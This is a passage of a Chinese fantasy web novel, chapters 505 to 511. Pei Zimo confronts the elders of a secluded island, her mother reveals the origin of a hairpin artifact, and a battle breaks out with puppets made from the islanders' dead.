开始的时候,大家都还记得裴松是入赘之事。 可后来裴家的事迎来送往全是裴松负责,裴意很少露面,时间久了,大家便只记得裴松,不记得裴意了。 裴家的那件神器,也只传嫡长子或者嫡长女,按理说,将来是要传给裴子墨的,而裴子墨也会接替裴松成为裴家的主事人。 可后来裴子墨逃出了遁世岛。 没有裴子墨,按说这件神器就应该传给裴子轩。 只不过过了很多年,裴意都没有透露过这个打算。 大长老等人也让裴松去找裴意要过,可甚至连打听都没办法从裴意的嘴里打听出什么来,也是因为这件事,裴意和裴松之间生了嫌隙,裴意便闭门不出,再也不见裴松。 那位神女,也是大长老他们安排进入裴府的,一是希望她能接近裴意,找到神器。另外也是想如果她自己找不到,那等她和裴松生了孩子,裴意有了危机感,说不定就会把神器拿出来了。 结果这件事却适得其反,裴意不仅没有把东西拿出来,甚至还跑了。 当时大长老他们去拦截裴意,可还是没能拦住,裴意就进了后山。 这么多年,他们也多次去后山搜寻过裴意,只不过却始终没有找到她。 所以他们这一次才接机让神女放出了裴子衿,又提醒裴子衿往后山跑。 他们本来也不过就是想要尝试一下,可没想到却真的用裴子衿引出了裴意。 甚至于这一次不仅引出了裴意,就连裴子墨都出现了! 二长老眯眼看着裴子墨,之前他们出去找裴子墨,裴子墨要么不现身,要么露了面就跑。 但最近的两次,他们找到她的地方,都是她设好陷阱的地方,大长老的那一次,她又有一个非常厉害的帮手。 不过现在,裴子墨他们来了遁世岛,她在遁世岛不可能有提前设下的陷阱,更不会有那个什么逆天的九星灭仙阵。 而且看着他们这几个人,也没有上次帮忙的那个老和尚了。 二长老想着目光也落在黑袍人的身上,黑袍人身上的气息和白锦夜有些像,都像是身体被改造过了,若是术法在裴子墨之上,不可能被裴子墨改造了身体。 这样一想,二长老的心又放了下来。 现在这种情况看,胜算怎么都在他们这边。 他甚至率先捏上了印诀,“裴子墨,既然好言相劝你不听,那我们就只能用其他的方法把你们留下来了。” 裴子墨看着他手上的印诀,倒也不着急,只是开口问,“二长老,你最近没有跟五长老多聊一聊么?她回到遁世岛之后,若是能预见未来,那便都是真的,她没有告诉过你什么么?” 萧南曦微微怔了一下,回了遁世岛之后,她心里便总是隐隐觉得以前的事情是不对的,又私下和文子山聊过几次。 她这段时间,预见的未来,也不过是只有一些画面,她也没有再主动地去预测未来。 而且二长老来找她,问她是不是预见了什么,她也都说最近什么都没有见到过。 裴子墨像是也没打算等二长老回答她这个问题,就继续道,“不过呢,我倒是有些预测未来的方法,是说……遁世岛众人都会归于地府,也不知道这是不是真的会发生。” 听到裴子墨说这话,萧南曦的脸色顿时就变了,她又想起上次回遁世岛的时候,见到遁世岛陷入一片火海之中的画面。 本来二长老是不相信裴子墨顺口胡诌的,可他下意识地瞥了一眼萧南曦,便见到她个人脸上的血色全都褪去,他当即就明白了什么。 已经回来这么久了,他每次去问萧南曦最近是不是预见到了一些画面,萧南曦总是给他否定的答案。 可以往每隔几天,萧南曦就会看到一些未来的画面。 他还以为是这次离岛,对萧南曦的影响太大,还多次叮嘱她好好休息,不要总是想着之前发生的事,过去的事就过去了。 可看样子,萧南曦并不是没有预见到,而是预见了,却没有跟他说! 其余的几位长老也意识到了什么,一时间面面相觑,本来大长老和九长老的事,对他们来说就已经算是巨大的打击了,如今这个消息,更是如遭雷击。 他们活了这么多年,从来没想过自己会死,也正是因为知道自己不会死,才会天不怕地不怕。 可有一天,他们突然被告知,他们和其他人一样,也会死,也会去地府,那这一时之间自然没办法接受。 看着众人的脸色,裴子墨轻笑了一声,“你们也是人,是人就会生老病死,这么多年,我不是也经历了无数次轮回转世么?没什么的,多经历几次,习惯就好了。” “我不久之前还找到过一个仙冢,所以就算是神仙,都不能保证自己不会死,更何况你们还根本就不是神仙呢?” “二长老,放狠话我不会,不过你们要是现在答应我,解散遁世岛,从此回到人世间去过正常的生活,我也许可以跟地府那边给你们说点好话,让你们将来到地府的时候,不至于受太多苦,怎么样?” 第506章 你非要亲手葬送遁世岛么? “你还是想着自己到地府那边,怎么给自己说点好话吧。”二长老说完,手上的印诀已经成型,直接朝裴子墨打了过来。 不过却被白锦夜抽出九殇破掉。 二长老眯眼看着白锦夜手里的九殇,心里自然清楚这是个好东西,也显然不是遁世岛所有,看样子白锦夜和裴子墨在外面这些年,确实有不少的机缘。 见二长老已经动了手,其余的几位长老自然也不能袖手旁观。 最后站在原地的,就剩下文子山、萧南曦和凌霄,以及大长老和九长老的继承人。这后面两个人,虽然顶替了大长老和九长老的位置,但术法上却差得太多,若是其他八位长老能解决,那也不用他们动手,若是其他八位长老不能解决,那他们动手也是去送死。 萧南曦没动,文子山倒是不意外,这段时间萧南曦一直都陷入纠结痛苦之中,但是……凌霄可一直都是站在大长老和二长老那边的。 文子山转头打量了眼凌霄,才开口问道,“怎么,你这会是念上父子亲情了?” 凌霄沉默了会,“我们‘神冥公’一脉本就人少,我留在外面的那一支,只剩下两个人,阴差阳错,又都是我儿子的转世,而我在遁世岛的子女,这些年也全都丧命,留下几个孙子孙女,跟我也不亲。” “前些日子,锦成被我带回来。可他在外面转世几次,心境早不如前,就连术法都只会一点。回来之后,就算我亲自教导,但至今还是连黄泉路都打不开。” “如今,我们家还有指望的,也就是锦夜了,若是放在以前,我们受天地庇佑,不会死,有些事倒也没有必要那么担心,但眼下……如果我和锦夜非斗个你死我活,那‘神冥公’一脉该怎么办?” 他说着叹了口气,“这大概就是命吧。” 文子山确实不太相信凌霄突然就想开了,在裴子墨他们出现之前,他还对二长老的话言听计从,甚至于刚才还在劝说白锦夜迷途知返。 他垂下眼,对凌霄多留了个心眼,防止他一会可能会偷袭。 那边裴子墨扶着裴意往后退了退,裴子衿也跟在她们身边,动手的只有白锦夜和黑袍人。 白锦夜以一敌二,打了个平手,黑袍人一对三还绰绰有余。 文子山眯起眼睛,现在裴子墨都还没有下场,若是她再出手,这五位长老可一点便宜都占不到。 他看着那黑袍人,他出手诡异,使用术法的方式跟他们完全不是一个路数。 二长老那边也渐渐吃力,他忍不住朝文子山等人喊道,“你们三个就这样看着么?去,去把裴子墨和裴意抓起来!” 裴子墨冷笑一声,“身为遁世岛的二长老,现在都开始做这么下作的事了,怎么,你以为能抓到我们做人质?” 裴意轻轻皱了一下眉头,对裴子墨低声道,“咱们还是先撤,‘神傀公’这些年养了不少傀儡,稍后若是把傀儡都召唤来,即便傀儡不是对手,数量太多也会很麻烦。” “好。”裴子墨点点头,扶着裴意往后走。 裴子衿寸步不离地跟着她们,倒是也不用特意招呼。 至于白锦夜和黑袍人,都是裴子墨的冥尸,她用个念头稍稍控制片刻,他们就知道她的打算了。 黑袍人击退了自己应对的三个人,又帮了白锦夜一把,两个人找了个空当,就朝裴子墨他们追去。 二长老自然不死心地想要追过去,可是却被文子山拦住。 “你刚才不动手就算了,现在还要拦着我们么?”二长老冷眼看着文子山,“我早就知道有人暗中帮着裴子墨他们,眼下倒是不用追查,你自己就站了出来。” “你还看不出来么?”文子山拧着眉,“他们刚才没有下杀手,不然你以为现在你们几个还能完好无损的站在这?你还认不清现在的形势么?非要亲手葬送了遁世岛,你才甘心么?” “他们能杀了我们?”二长老冷笑一声,“如果他们能杀了我们,这会就不会逃走了!” 文子山有些无奈,还不等再说什么,二长老就抬手一挥,“你不愿意动手,我也不勉强了,他们这一次既然回了遁世岛,就别想再离开。你们把遁世岛所有的阵法全都开启,我去做些其他的准备,一个时辰后,在此处集合。” 闻言,文子山眉头蹙得更紧,遁世岛所有的阵法开启,裴子墨他们就没有办法离开遁世岛,二长老现在去准备的,肯定是把傀儡们都召集出来。 他之前就隐隐的知道,这些年,但凡遁世岛上有人死去,尸体就会被二长老炼制成傀儡。 甚至不仅仅是人,就连大型的野兽,也同样会被他炼制成傀儡。 只不过这些年也从没有用到过这些傀儡的地方,所以他也从来都没有召出来过。 “你们三个,若是不愿意帮忙,那也别捣乱。不然,那我们也只能不念兄弟之情了。”二长老说着顿了顿,“你们可别忘了,你们的家人如今都在遁世岛上,你们若是帮着裴子墨,那你们的家人会如何,应该不用我说出来吧?” 他又看向大长老和九长老的继承人,“你们就去通知岛上的人,不要乱走,都呆在自己家里,不要出门,等事情过去,自然会通知大家。” 说完,他的目光在文子山三人身上扫了一圈,当先走了。 其他人像是欲言又止,但最终也还是按照二长老的命令去做事了。 “三哥,那现在怎么办?”萧南曦看着文子山问道。 “怎么办?”文子山叹了口气,“裴子墨他们走不了,一场大战在所难免,若真是逼急了,你看到的那画面,未必不会出现。” “什么画面?”凌霄也听出了这话里有话,赶紧开口问道。 文子山没说话,沉默了片刻,萧南曦才把自己看到的画面又跟凌霄说了一遍。 “天呐。”凌霄低声喃喃地道,隔了会他才反应过来什么,“不,不行!不能这样!三哥,阵法一事,没人比你更精通,赶紧制止他们开启阵法啊!” 第507章 皇族的生命树 文子山冷哼一声,“你以为我一个人,就能阻止所有的阵法开启么?以大哥的心思,怎么会把所有的事情都押在一个人的身上?” “可……傀儡怕火,若是裴子墨用火烧傀儡,那不是……那不是正好应了……”凌霄顿了顿,才又道,“我在这岛上可没什么亲人了,你们不一样,你们都有一大家子人,想要逃命都不容易,再不想办法,就来不及了。” “或者……我们想办法,去把那个人放出来。”隔了会,萧南曦开口道,“这样我们四个人,再加上裴子墨他们,一定不会让事情恶化到最严重的地步。” “谁?”凌霄问出口,又反应了过来,“但是禁锢他的阵法,就凭我们三个,未必能破得开。那阵法上,有魂魄之力……”说完他又赶紧补充,“也是有一次大哥说漏了嘴我才知道的,他后来加固了阵法,这世上只有他一个人才能控制那魂魄之力破开阵法。” 萧南曦皱了下眉头,看向文子山。 文子山眯了眯眼,“先去找裴子墨他们吧,他们既然来,就肯定料到过眼前的情况,我们别帮了倒忙就是。” * 裴子墨等人一路回到了海边,刚上船,四周浓郁的阵法之力就铺面而来,“看样子,他们是把整个岛都封锁起来了。” 不过其实裴子墨本来也没打算离开,这次回来,就是要彻底解决遁世岛的事,但刚才裴意说的没错,若是来了太多的傀儡,她和白锦夜和黑袍人倒是没什么问题,可说不定就顾不上裴意和裴子衿了。 所以得先找个地方安顿她们才是。 裴子墨给裴意倒了一杯水,“娘,他们找你,到底是要什么?” 裴意叹了一口气,抬眼看向黑袍人,顿了会才问,“他这是怎么了?” 裴子墨简单的解释,“不久之前,我掌握了一种可以控制人的方法,他如今被我炼制成冥尸,现在也基本没什么自己的思想,完全听我的控制。” “那不是跟傀儡差不多?”裴意开口问。 “倒也不是。”裴子墨摇了摇头,“若是我愿意,可以让他像正常人一样生活,也会有自己的思维,看起来和常人无异。” 裴意似懂非懂,但还是点了点头,有些唏嘘地道,“没想到,堂堂巫族首领,竟落得这个下场。” 裴子墨微怔了一下,转头看向白锦夜,只见白锦夜的脸上和她一样的震惊。 裴意这才又问,“你回过乾坤殿了?” 裴子墨摇了摇头,“没有,我之前一直都找不到回乾坤殿的路,国师也是最近出来找我,被我炼制成冥尸,本打算解决完遁世岛的事,让国师带我们回乾坤殿的。”她说着停顿了下,才问,“娘,你也是乾坤殿的人么?” 裴意轻轻叹了一口气,陷入了回忆之中,半响之后,才开口道,“‘十一公’是继承了九天玄女的术法,但裴家之所以能跟‘十一公’齐名,那是因为裴家本就是乾坤殿的人。” “很早之前,皇族为了应对巫族,便派了人出来,想要寻找帮手,而‘十一公’便是最好的目标。可惜‘十一公’不愿意为此出力,甚至开始效仿乾坤殿,想要创造一个独立在人世之外的仙地。” “没能请到他们帮忙,反倒促成了遁世岛的诞生,没办法,皇族便留了我们在外面跟‘十一公’在一起,防止他们做出太过出格的事情。” “一开始,我们和皇族那边还有联系,可后来,大概皇族和巫族之间的争斗愈加严重,便也无暇顾及我们外面这些人了。” “在我年轻的时候,我爹曾经带我回过一次乾坤殿。”裴意说着顿了好一会,才继续道,“那次我们回去的时候,倒是很顺利,甚至见到了皇族的王和王后,那时候你还是个小姑娘,奶娘带着你在花园里抓蝴蝶,我远远地看了你一眼。” “王带着我爹去议事,王后就带着我在花园里赏花。起初王后的心情还算不错,后来……看着你,她的情绪逐渐低落,最后给了我一个簪子,说要让我好好保管那簪子,这事关全族人的性命。” 裴子墨微怔了一下,拿出之前裴子衿带给她的簪子,“就是这个簪子么?” 裴意点点头,“我当时也不太明白她的意思,她也没有说的特别清楚。但我也知道,像她这样的人,肯定对未来都所有预知,虽然有些事不方便说,可也不妨碍他们提早做安排。” “等我爹跟王议事结束之后,我们就没有再在乾坤殿停留,王立刻着人送我们离开了乾坤殿。” “走的时候,我爹依依不舍,一直回头看着乾坤殿,他说这虽然是他的家,但是他再也回不来了。我拿出那簪子给我爹看,我爹一脸的震惊,他说……这其实是皇族的生命树。” “它是天地间孕育出来的神器,只不过并不是武器,不能攻击,也不能防御,可是只要它在,皇族便能延续。” “看到它之后,我爹就更加确定,乾坤殿是要出大事了。他让我好好保存这簪子,既然王后把它交给我,那必然是有她的安排。” 裴子墨轻轻皱了下眉头,那时候的皇族就已经被巫族渗透,即便当时她爹娘还是皇族的首领,但其实早就被架空。而裴意他们的到来,正好给了他们希望。 他们应该也知道,这簪子在他们的手上留不了多久,巫族迟早会把它抢走,与其落在巫族人的手上,还不如让裴意他们把簪子带出来。 外面天大地大,巫族不见得能找得到。 “后来我认识了裴松。”裴意说着眯了眯眼,“那时年少,被情爱冲昏了头脑,有一次无意间跟裴松说了这簪子的事情。” “起初我也没有想太多,后来被我爹知道了,我爹让我不要再对任何人提起这簪子,包括裴松。那之后关于这簪子,我便再没有人跟任何人提起过。是我有眼无珠选错了人,也是我不该对裴松提起簪子,这让他之后的无数年,都在打这簪子的主意!” 第508章 有些事,终究是避免不了 “不过当时其实我也留了心眼,并没有告诉裴松这到底是什么,他只是知道这是一件非常厉害的神器。”裴意轻轻叹了一口气,“后来他见我不再提,甚至他问得多了我会生气,他也就不再问起了。” “我们成亲后不久,我就怀了你,但直到快临盆,也一直都没有魂魄的气息,那时候我以为,可能不会有魂魄了。没有魂魄的孩子,生下来便只会是夭折。我伤心了好一阵子,我爹说,实在不成,就找个魂魄放进孩子的身体。” “但被我拒绝了,我想可能是缘分不到,等下次再怀孕就是了。只是等我快生产的时候,突然有乾坤殿的人来。来的人,是个侍卫,到我们面前的时候,就已经受伤了,他带了一张符纸,说是很早之前,王后留给他的,让他在你死后,带着这张符纸来找我。” “从他的嘴里,我们才知道,王和王后都已离世,你成了皇族的女帝,甚至一度重创巫族,可最后还是死于巫族国师之手。” “我接过那张符纸,符纸就瞬间化成水渗进我的皮肤,随即我就开始肚子疼,即将生产。但偏偏巫族追杀那个侍卫的人,这个时候追来了,最后……我爹跟那个侍卫,和巫族的人同归于尽。” “我生下了孩子,虽然我只远远地看过你一眼,但我能清晰的感受到,孩子的身上有你的气息。我知道,这应该就是王后的安排。也许她早已经知道,在乾坤殿之内,已经没办法对抗巫族,没办法彻底解救皇族了,所以只能用这种方法,让你重生,让皇族能够继续延续。” 裴意说着看着裴子墨,“其实你和‘神算公’见面之事,我一早就知道。他说帮你推算出回乾坤殿的路的时候,我便明白,你记得所有的事情。王后也许算到,我的第一个孩子本该夭折,她不知道用了什么办法,在你死后,拘下了你的魂魄,让你能够借着这个孩子活下来。” “虽然我知道去乾坤殿的路,但是那时候你应该是受了什么限制,术法不高,况且那时候的你,即便回了乾坤殿,也不可能是巫族的对手。” “你答应了帮‘神算公’办事,我想这样未必不好,你在外面多历练一些,也许术法会更为精进。我只是没想到,你一走,就是这么多年。” “我偶尔也会知道些你的消息,知道你从一开始东躲西藏,到逐渐让这些长老头疼,后来裴松又来找我打听神器的事情的时候,我就知道,他们大概开始拿你没办法了,所以才想要找一件神器来对付你。” 说到这,裴意看了裴子衿一眼,“他们一直以为,我只要离开,就一定会把神器带在身上,所以他们到处找我。但其实这神器我根本就没有带着,后来经过你妹妹的手,转交给了你。” 听到裴意说这个,裴子衿多少有些尴尬,当初根本就不是裴意把这簪子给她,让她拿着簪子去找裴子墨。 而是这簪子就在裴意的房间里,她只是想要拿一件裴意的东西,让裴子墨对她放心而已,所以就随手拿了这簪子。 如果知道这簪子就是裴松一直找的东西,她当时直接拿这簪子去找裴松,裴松一定会答应她取消她和凌锦枫的婚事。 裴子衿捏了捏衣角,可不只是她看走了眼,就连裴松他们去裴意的房间里找过那么多次,不也没有注意过这簪子么? 谁能想到,让这么多人趋之若鹜的神器,就是一支毫不起眼的簪子,上面甚至连一丝术法的气息都没有! 裴子墨把簪子在手里转了转,随即收了起来,“娘,一会你们就呆在船上,这船上我已经设置了阵法,即便有傀儡过来,也伤害不到你们,至于那几位长老,我会想办法拖住,你们只要不离开这船,就不会有什么危险。” 她说着转头看向裴子衿,“不过,子衿,恐怕就得委屈你一下了。”她说完抬手在她的脸上抹了一把,裴子衿当即眼睛一闭,直接晕了过去。 随后她才看向裴意解释,“娘,裴子衿有自己的算盘,她虽然现在口口声声说她已经不在意以前的事,但是心里对我和锦夜的事,不知道有多记恨,就算她是我妹妹,但是这个时候我也不能不防。” “她要逃离遁世岛,就是因为长老们要把她嫁给凌锦枫,现在凌锦枫已经死了,如果她此刻做出什么有利遁世岛的事情,长老们估计也不会追责之前的事情。” 裴子墨没有直接说出来的是,就留裴子衿和裴意两个人在这,她是一万个不放心。裴意顾念母女之情,可万一裴子衿挟持了裴意,就会让她变得很被动。 裴意轻轻地叹了一口气,点了点头,之前有段时间,她闭门不出,可也知道裴子轩和裴子衿这些年颇得那些长老的欢心,最近估计也是因为凌锦枫的事情,裴子衿就效仿裴子墨生了反骨,可她这“反骨”并不彻底,也难保不会在背后暗算一招。 说着话,裴子墨转头往外面看去,顿了顿才看向白锦夜,“你说……凌霄是什么意思?” 刚刚凌霄完全没有动手,这倒是让她有点想不通。 白锦夜轻笑了一声,“他大概只是识时务,本来他是不可能清楚我的实力的,但是我们两个都能通阴阳,从地府那边的气息来看,他就能轻易地感知我的能力。所以他现在知道,他已经不是我的对手,已经知道结局的事情,又何必勉强?” “那就是说,他不见得是诚心帮我们,假设到时候风向一变,他又有可能去帮着二长老他们了。”裴子墨有些无奈地摇了摇头,“三长老应该是可信的,至于五长老……估摸着是预见了未来。” “嗯,五长老也不一定是想要帮我们,她可能只是想要避免遁世岛的灭亡。”白锦夜低声道。 “可有些事,终究是避免不了啊。”裴子墨轻声道,随即站起来往外面走。 第509章 未必没有一线生机 文子山三个人走到岸边,也就只有他自己朝裴子墨走过来,凌霄和萧南曦都留在了原地。 “你们可有办法离开?”文子山直接开口问道,若是裴子墨他们能离开,眼下可以避免一场大战,那自然是最好的。 裴子墨往他的身后看了看,“既然来了,就没想离开。” 文子山叹了一口气,“子墨,你到底也是出身遁世岛,这里有你的亲人,就算你转世多次,可我看,你也依旧在意你娘,事情不一定就非是到了无可挽回的地步……” “我知道,五长老看到了些事情,看样子她应该告诉你了。”裴子墨打断文子山的话,“你做过的事情,我多少知道一些,你也在尽你最大的努力保护了一些人,但是明明这些危险都是不应该存在的不是么?” “那些你在外面的族人,他们一代一代相传,虽然没了血脉,但是他们以收徒的方式继续延续,为的就是守护瘟神蜮上的长明灯。” “很多人在努力的保护着这个世界,可偏偏有人就是要破坏这些,你说遁世岛存在的意义到底是什么?” “对我来说,遁世岛是不是存在,我并不在意。”文子山开口的道,“可是这岛上这么多人……当年来遁世岛的决定,是我们十二个人做出来的,他们身为族人,根本没有权力决定自己的去留,这后果也不该由他们来承担。” “我只是希望,不要殃及到无辜的人。” 闻言,裴子墨轻笑一声,“这遁世岛上,有无辜的人么?他们所享受的一切,不都是从外界掠夺而来的么?甚至于很多人都不该活着,他们早就到了寿命的尽头,却因为某些原因,依旧活在这世上。” “就算他们能离开遁世岛,但一旦到了这庇护的范围之外,你怎么保证他们还能活着?他们只要离开,就会被鬼差找上来。到时候又该怎么办?是乖乖的跟鬼差走,还是跟鬼差动手呢?” “这么多年,这些人其实早就和遁世岛融为一体了。甚至于你让他们离开这里,他们在外面可能都没有谋生的手段。” 文子山沉默了片刻,才道,“若是他们有机会能离开,你会阻拦么?” “我不会。”裴子墨摇了摇头,“遁世岛存在至今,是因为有长老们在,岛上所有的人,甚至都把长老们当成了神一样的存在,遁世岛覆灭,对他们来说,也会是巨大的打击。若是有人能接受这种打击、能接受自己其实和常人无异,并且能够开始新的生活,我不会阻拦。” “但……同样,如果地府那边找上门,我也不会帮忙。” “不过,若是有人能离开这里,又恰好寿命没到,还能好好地生活,可心里却还想着重建遁世岛,我就不会袖手旁观。” 文子山明白了裴子墨的意思,“如果能有一些人离开这里,也许……会回到我们原来生活的那片故地。只是……”他说着又停顿了下来。 当年他们来这里的时候,人还没有这么多,那时候是有几艘大船的,但是后来大长老为了绝了大家离开这里的心思,就把那几艘大船给沉了。 岛上现在也只是有一些小船,每艘船最多也不过能乘坐二三十人。 说是想要离开这里,可这里早就成了孤岛。 裴子墨看他的脸色,大概也猜到了什么,顿了顿,转口问道,“五长老都看到了些什么?” “她看到整个遁世岛陷入一片火海之中。”文子山又重重地叹了一口气,“遁世岛上的人,都被活活烧死。” 裴子墨皱起眉头,片刻后,拿出卦祖卜了一卦。 见到卦祖在裴子墨的手上,文子山也有些震惊,这卦祖可是“神算公”一脉的秘宝,他把卦祖都给了出去,可见对裴子墨的期望之高。 半响后,裴子墨看向文子山,“未必没有一线生机。” 正说着话,远处微微起了尘土,裴子墨眯眼看去,这动静,怕是二长老带着他的傀儡们来了。 “那就看遁世岛的人,愿不愿意自救了。”裴子墨说完,低声对文子山说了几句话。 文子山犹豫了片刻,点点头,“行,这件事交给我,但是……你要保证在我回来之前,不能动火烧傀儡。” “这我可没办法保证,所以你得快点,这么多傀儡,我要是撑不住,也就只能烧了。”裴子墨并没有答应,随后也不再理会他,转身走到白锦夜的身边。 文子山那边也没有停留,跟凌霄和萧南曦说了几句话,三个人便赶紧离开了。 看着他们离开的背影,裴子墨轻轻地叹了一口气。 白锦夜抬手握住她的手,只是低声道,“到了这个时候才开始着急,又有什么用?” 裴子墨笑了笑,“三长老和‘神算公’的性子不一样,他不会像‘神算公’一样光明正大的反对遁世岛做出的决定,但是这么多年以来,未必没有偷偷的做一些准备。只不过任谁不是希望这最坏的结果来的慢一点,甚至……最好不要来么?” 她的话音落下,二长老那边带着傀儡们也近了。 这一次,他骑在了一只老虎的身上,其余几个长老跟在他身边,后面则是二长老的傀儡们。 这几个长老的脸色都不算太好,起初他们不知道二长老去准备什么,但是看到这些傀儡,他们才明白了。 曾经他们“十一公”之间定下了约定,二长老身为“神傀公”,自然要炼制傀儡,但是却不能用“十一公”的族人来炼制。 这么多年,他们一直都以为二长老一脉遵守这个约定。 可眼前看起来,这些傀儡分明就都是他们曾经死去的族人。 不过仔细想想,他们其实应该早就发现端倪,到了遁世岛之后,这岛上都是“十一公”的人,如果二长老不破坏这规矩,那他就没有傀儡可以炼制。 可即便如此,他们也还是没办法接受二长老偷偷摸摸的把这事干了这么多年。 只不过如今大敌当前,也就只能回头再追究了。 第510章 就怕希望只有一步之遥 眼下已经没有再废话的必要,二长老直接指挥着傀儡开始攻击。 裴子墨答应了文子山暂时拖延时间,也就和白锦夜、黑袍人一起击退靠近船边的傀儡。 不过这些傀儡在控制之下,根本不知道疼痛,哪怕身体残破,也还是会往前冲。 傀儡这么多,只是伤他们完全没有作用。 裴子墨眯了眯眼,控制着黑袍人发了狠,他掌心所及之处,所有的傀儡都化为了齑粉。 见状白锦夜也不再收着,九殇剑气横扫,效率可比黑袍人高多了。 那边还没开始动手的长老们见到这场面不由有些急了,他们汇合之后,二长老只说是现在形势所迫,等收拾了裴子墨,就会解除这些控制之术,让这些人入土为安。 可如今这些傀儡连尸体都没有了,还哪有入土为安的机会? 八长老正要说话,却被四长老拉住。 情况已经是这样了,他们总不能再起了内讧。 这几个长老的脸色越来越差,不过他们没说出来的话,却有人替他们说了出来。 本来已经被二长老责令呆在家里不准出来的遁世岛的族人,全都跑了出来,他们惊讶地看着自己那些已经死去的亲人,愤怒地想要往前冲。 这些傀儡是这几位长老的后人,但是对于他们来说,自己的后人已经太多,隔了几代之后的,甚至有些都没有见过。 他们见到自己的族人被炼制成傀儡,大多只是因为二长老坏了规矩而气愤。 可是其他的族人不一样,对于他们来说,眼前的可能就是他们最亲近的人,可能是父母,可能是孩子。 尤其是有人看到自己的亲人被一掌拍得粉碎,当场就没办法再容忍。 “为什么?为什么要把我们的亲人炼制成傀儡?” “你们是遁世岛的长老,你们应该保护我们,而不是躲在这些傀儡后面!” “就算真的有人要危害遁世岛,那也该是我们一起来保护我们的家园,而不是让这些本就已经该入土为安的亲人变成傀儡来保护我们!” “是啊,而且他们都已经到了岸边,这不是要离开了么?让他们离开就是了!” “就是,如果不是非要烧死岛主夫人,裴子墨也不会回来啊,她这么多年都没有回来,还不是被逼急了!” “你们看,这些傀儡里面,根本没有大长老和二长老一脉的人!二长老,你这是什么意思,欺软怕硬么?” 文子山他们并没有走上前来,但是却已经安排了自己的族人混在人群里,喊一些能够煽动气氛的话。 果然听到有人喊傀儡里没有大长老和二长老一脉的人之后,大家的情绪就更加激动了。 “咱们一起上去,把自己的亲人控制住,只要脱离二长老的控制范围,他没办法一下子控制这么多傀儡的!”又有人喊了一句之后,大家就纷纷冲了上去。 遁世岛的人,都是从小修习术法,应对傀儡也不会乱了阵脚。 更何况几个人控制一个傀儡,也没有那么难。 这些族人一冲上去,二长老身边的几位长老就呆不住了,生怕自己的族人再一个不小心,把命搭在这里。 于是他们也纷纷冲上去,见到有被傀儡反制的族人就赶紧上去帮忙。 这一下整个海滩上乱成了一锅粥。 片刻之后,还能冲到裴子墨他们面前的,就只剩下了一些凶兽。 对于这些,他们就更没有必要手软。 “二哥,你还不收手么?”文子山这会才走上前,走到二长老的旁边,“你非要看着遁世岛的族人血染当场,你才满意么?” “是你!”二长老瞪着文子山,目眦尽裂,“文子山,你为什么一定要跟我作对!为什么?我排行第二,大哥不在了,论资排辈,也应该是我主事,你就那么想要跟我抢这个位置么?” 文子山皱起眉头,“我对这个位置毫无兴趣,你若是真的能制住裴子墨,那是你的本事。可是眼下看来,你已经做不到这一点了,那你再做什么,都只是把事情推向更加万劫不复的境地,而你付出的代价,很可能是整个遁世岛。” “二哥,你还要执迷不悟么?大哥的下场,老九的下场,还不够给你警醒么?” “又或者,你被大哥压了这么多年,现在终于能取代大哥的位置,你就已经迷了眼,误以为自己能完成大哥做不完的事,就可以证明你其实比他强?” “你果然是看不起我!”二长老眯起眼睛。 文子山叹了一口气,以前大长老在的时候,二长老就像是个和事佬,遇到什么事,大部分时间都在和稀泥。既帮着大长老说话,偶尔也像是愿意跟他们站在一起从大长老手里争取些利益。 他像是就一直在这个夹缝中摇摆,也没什么自己的脾气。 可原来,这么多年,他心里都是憋着一口气。 倒也难怪,他们心里都清楚,即便是没有大长老,他们的前面还有别人,遁世岛也轮不到他们主事。 可二长老不一样,他的前面只有大长老,只要没有大长老,他就可以顺理成章的成为主事人。 人不怕没有希望,就怕那希望一直只有一步之遥,却始终有个人挡在前面。 文子山想要解释什么,但二长老也没有给他这个机会,而是骑着老虎直接朝裴子墨冲了过去。 二长老携带而来的杀气,裴子墨自然感受到了,她用量天尺把面前的几头凶兽拍成肉酱,一转身,就对上了二长老手里的骨杖。 她迅速的把量天尺横在身前,骨杖戳在量天尺之上,但力道却传了过来,裴子墨往后退了几步才停了下来。 她冷笑着看着二长老,“不指望傀儡,要自己下场了么?” 二长老眯了眯眼,刺破掌心,把血涂在骨杖上,随即挥了挥骨杖,所有的傀儡立刻不要命地朝裴子墨冲过来。 就连已经被族人控制住的那些傀儡又开始重新发狂,拼命的挣脱了控制。 这挣扎之间,便有不少族人因此受伤。 好在傀儡的目标都是裴子墨,不然恐怕就要有人直接丧命! 第511章 遁世岛的傀儡 白锦夜见状便要去帮裴子墨,可傀儡实在太多,他们两个人之间的距离就是没有办法缩短,他转头看了看,见黑袍人那边也是一样。 他微微眯了眯眼,把身边的傀儡全都扫开之后,便朝着二长老冲了过去。 整个“神冥公”一脉,在二长老的心里,术法都一般,只不过靠着一条黄泉路弥补了术法的不足,他知道只要自己小心,不要着了黄泉路的道,白锦夜根本不是他的对手。 而且他看眼前白锦夜这状态,显然也没有召唤黄泉路的想法,便想趁着没有黄泉路之时,一举拿下白锦夜。 于是举起手中的骨杖,硬接了白锦夜的九殇。 二长老的骨杖也不是凡物,是许多年前,几个长老一起联手消灭的一个已经入魔的凶兽,那一次几个长老战至力竭,才险险杀了那凶兽。 之后凶兽被抽筋剥骨,二长老便用了它的骨头炼制了自己的骨杖。 骨杖的一端顶在了九殇的剑尖之上,二长老冷笑着看着白锦夜,笑他还是太轻敌。 若他是白锦夜,自然在一开始之时就会召唤出黄泉路,根本不会给对方留下一点回击的余地。 但很快一股力道就顺着骨杖传给二长老,他感觉到整条手臂都有些发麻。 随即轻微的碎裂声响起,片刻后,骨杖之上就布满了裂纹。 白锦夜眯眼看着二长老,“别再负隅顽抗了。” 他这话音落下,骨杖骤然碎裂,一片片骨片落在地上。 二长老震惊地看着这一幕,目光又重新落在白锦夜手里的九殇上,这武器是好武器,但他心里也明白,若是白锦夜的实力不够,恐怕也无法驾驭。 他心里萌生出一丝惧意,难道短短时间不见,白锦夜和裴子衿的术法又精进了不少么? 他骑着老虎,后退了几步,便见白锦夜脚下开始蔓延出黄泉路。 蓦地,他突然冷笑一声,手上捏起了印诀,嘴里也念出一串晦涩的咒语。 很快,那些来了沙滩上,本想把自己亲人的尸体带回去的遁世岛的族人们,也全都开始身体僵直,目光呆滞,但片刻后又适应了被控制的状况,快步朝白锦夜冲过来。 “你……把遁世岛的人都练成了傀儡!”白锦夜迅速的收回黄泉路,拧眉看向二长老,“你真是个疯子!” 眼下这情况,是所有人都没有想到的! 二长老把已死去的族人炼制成傀儡,本身就已经犯了忌讳,但说到底也是死人,就算将来追究起来,只要二长老认错态度好一些,大家也不可能真的把他怎么样。 但活人就不一样了。 